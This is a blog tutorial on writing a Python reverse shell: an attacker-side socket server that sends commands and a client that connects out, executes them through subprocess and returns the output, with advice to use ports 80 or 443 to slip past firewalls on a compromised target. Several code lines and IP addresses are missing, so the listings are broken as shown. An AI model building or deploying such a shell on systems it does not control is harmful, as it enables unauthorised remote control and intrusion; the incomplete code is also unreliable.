How to Create a Reverse Shell in Python

Building a reverse shell in Python using sockets that can execute remote shell commands and send the results back to the server.
  · 7 min read · Updated jun 2020 · Ethical Hacking


There are many ways to gain control over a compromised system, a common way is to gain interactive shell access, which enables you to try to gain full control of the operating system. However, most basic firewalls blocks direct remote connections. One of the methods to bypass this, is to use reverse shells.

A reverse shell is a program that executes local cmd.exe (for Windows) or bash/zsh (for Unix-Like) commands and sends the output to a remote machine. With a reverse shell, the target machine initiates the connection to the attacker machine, and the attacker's machine listens for incoming connections on a specified port, this will bypass firewalls.

Do you want to implement such code in Python ? Let's do it!

The basic idea is that the attacker's machine will keep listening for connections, once a client (or target machine) connects, the server will send shell commands to the target machine and expects output results.

Related: How to Use Hash Algorithms in Python using hashlib.

Server Side

First, let's start off by the server (attacker's code):

import socket
# send 1024 (1kb) a time (as buffer size)
# create a socket object
s = socket.socket()

Notice that i've used "" as the server IP address, this means all IPv4 addresses on the local machine. You may wonder, why we don't just use our local IP address or "localhost" or "" ? Well, if the server has two IP addresses, let's say "" on a network, and "" on another, and the server listens on "", it will be reachable at both of those IPs.

We then specified some variables and initiated the TCP socket. Notice I used 5003 as the TCP port, feel free to choose any port above 1024, just make sure to use it on both the server's and client's code.

However, malicious reverse shells usually uses the popular port 80 (i.e http) or 443 (i.e https), this will allow it to bypass firewall restrictions of the target client, feel free to change it and try it out!

Now let's bind that socket we just created to our IP address and port:

# bind the socket to all IP addresses of this host

Listening for connections:

print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")

If any client attempts to connect to the server, we need to accept it:

# accept any connections attempted
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")

accept() function waits for an incoming connection and returns a new socket representing the connection (client_socket), and the address (IP and port) of the client.

Now below code will be executed only if a user is connected to the server, let's try to send a welcome message, just to let you know how you can send messages over sockets:

# just sending a message, for demonstration purposes
message = "Hello and Welcome".encode()

Note that we need to encode the message to bytes before sending, and we must send the message using the client_socket and not the server socket "s".

Now let's start our main loop, which is sending shell commands and retrieving the results and printing them:

while True:
    # get the command from prompt
    command = input("Enter the command you wanna execute:")
    # send the command to the client
    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
    # retrieve command results
    results = client_socket.recv(BUFFER_SIZE).decode()
    # print them
# close connection to the client
# close server connection

All we are doing here is prompting the attacker for the desired command, we encode and send the command to the client, after that we receive the output of that command executed on the client (we'll see how in the client's code).

If the command is "exit", just exit out of the loop and close the connections.

Client Side

Let's see the code of the client now, open up a new file and write:

import socket
import subprocess


For demonstration purposes, I will connect to my local machine in the same network, which its IP address is "". You can test this on the same machine by using the host as localhost or on both sides.

Let's create the socket and connect to the server:

# create the socket object
s = socket.socket()
# connect to the server

Remember, the server sends a greeting message after the connection is established, let's receive it and print it:

# receive the greeting message
message = s.recv(BUFFER_SIZE).decode()
print("Server:", message)

Going to the main loop, we first receive the command from the server, execute it and send the result back, here is the code for that:

while True:
    # receive the command from the server
    command = s.recv(BUFFER_SIZE).decode()
    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
    # execute the command and retrieve the results
    output = subprocess.getoutput(command)
    # send the results back to the server
# close client connection

subprocess' getoutput(command) function returns the output of executing the command in the shell, just as we desire !


Okey, we're done writing the code for both sides. I'm gonna run the server code on a Linux machine and the client code on a Windows machine.

Note that you need to run the server before the client.

Here is a screenshot when I tried to execute the "dir" command (which is Windows command) remotely in my Linux box after running the client:

Running Reverse Shell in Python

Awesome, isn't it ? You can execute any shell command available in that operating system.


Here is some ideas to extend that code:

To conclude, a reverse shell isn't generally meant for being a malicious code, it can be used for legitimate purposes, for example, you can use this to manage your servers remotely.

DISCLAIMER: We are not responsible for any misuse of the code provided in this tutorial, use it on your own responsibility.

Happy Coding ♥

View Full Code
Sharing is caring!

Read Also

Comment panel